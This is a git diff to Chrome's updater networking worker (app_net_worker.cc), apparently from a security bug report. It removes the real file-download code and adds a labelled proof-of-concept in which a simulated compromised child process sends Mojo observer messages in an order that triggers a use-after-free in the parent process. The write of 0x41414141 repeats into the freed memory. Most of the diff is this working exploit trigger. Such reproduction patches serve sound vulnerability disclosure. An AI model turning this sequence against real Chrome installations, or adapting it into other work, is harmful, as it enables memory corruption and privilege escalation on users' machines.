diff --git a/chrome/updater/app/app_net_worker.cc b/chrome/updater/app/app_net_worker.cc
index 89b34977ede65..95ca594e5d12f 100644
--- a/chrome/updater/app/app_net_worker.cc
+++ b/chrome/updater/app/app_net_worker.cc
@@ -203,23 +203,25 @@ void FetchServiceImpl::DownloadToFile(
     ::base::File output_file,
     mojom::FetchService::DownloadToFileCallback callback) {
   DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
-  auto wrapper =
-      base::MakeRefCounted<FileDownloadObserverWrapper>(std::move(callback));
-  std::unique_ptr<NetworkFileFetcher> file_fetcher =
-      std::make_unique<NetworkFileFetcher>();
-  NetworkFileFetcher* file_fetcher_ptr = file_fetcher.get();
-  file_fetcher_ptr->Download(
-      url, std::move(output_file),
-      base::BindRepeating(&FileDownloadObserverWrapper::OnResponseStarted,
-                          wrapper),
-      base::BindRepeating(&FileDownloadObserverWrapper::OnProgress, wrapper),
-      base::BindOnce(
-          [](std::unique_ptr<NetworkFileFetcher> /*file_fetcher*/,
-             scoped_refptr<FileDownloadObserverWrapper> wrapper,
-             int32_t net_error, int64_t content_length) {
-            wrapper->OnDownloadComplete(net_error, content_length);
-          },
-          std::move(file_fetcher), wrapper));
+  // ---- POC: simulate a compromised net-worker child process ----
+  // Instead of performing the real download, immediately reply with a
+  // FileDownloadObserver receiver and then send the observer messages in the
+  // order that triggers the parent-process UAF:
+  //   1) OnDownloadComplete  -> parent runs the OnceCallback, freeing the
+  //                             unique_ptr<int> bound into it.
+  //   2) OnResponseStarted   -> parent runs the RepeatingCallback which still
+  //                             holds a raw int* into the freed slot and
+  //                             writes the supplied http_status_code into it.
+  // The Remote is intentionally leaked so the parent's SelfOwnedReceiver stays
+  // alive long enough to dispatch both messages.
+  auto* observer = new mojo::Remote<mojom::FileDownloadObserver>();
+  std::move(callback).Run(observer->BindNewPipeAndPassReceiver());
+  (*observer)->OnDownloadComplete(/*net_error=*/0, /*content_size=*/0);
+  for (int i = 0; i < 16; ++i) {
+    (*observer)->OnResponseStarted(/*http_status_code=*/0x41414141u,
+                                   /*content_length=*/0);
+  }
+  // ---- end POC ----
 }
 
 // AppNetWorker runs networking tasks in a dedicated process.